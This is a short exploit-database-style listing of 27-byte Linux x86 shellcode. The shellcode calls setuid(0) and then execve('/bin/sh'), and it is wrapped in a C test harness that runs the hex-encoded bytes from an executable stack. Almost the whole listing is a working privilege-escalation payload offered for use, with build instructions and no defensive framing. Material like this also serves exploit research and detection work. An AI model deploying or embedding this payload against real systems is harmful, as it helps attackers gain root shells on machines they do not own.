Linux/x86 - setuid(0) + execve(/bin/sh, 0, 0) Shellcode (27 bytes)

#include <stdio.h>
#include <string.h>

/*
	by Magnefikko
	24.04.2010
	[email protected]
	Promhyl Studies :: http://promhyl.oz.pl
	Subgroup: #PRekambr
	Name: 27 bytes setuid(0) ^ execve("/bin/sh", 0, 0) shellcode
	Platform: Linux x86
	
	setuid(0);
	execve("/bin/sh", 0, 0);	

	gcc -Wl,-z,execstack filename.c

	shellcode:

\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80

*/


int main(){
	char shell[] ="\x6a\x17\x58\x31\xdb\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x99\x31\xc9\xb0\x0b\xcd\x80";
	printf("by Magnefikko\[email protected]\npromhyl.oz.pl\n\nstrlen(shell)= %d\n", strlen(shell));
	(*(void (*)()) shell)();
}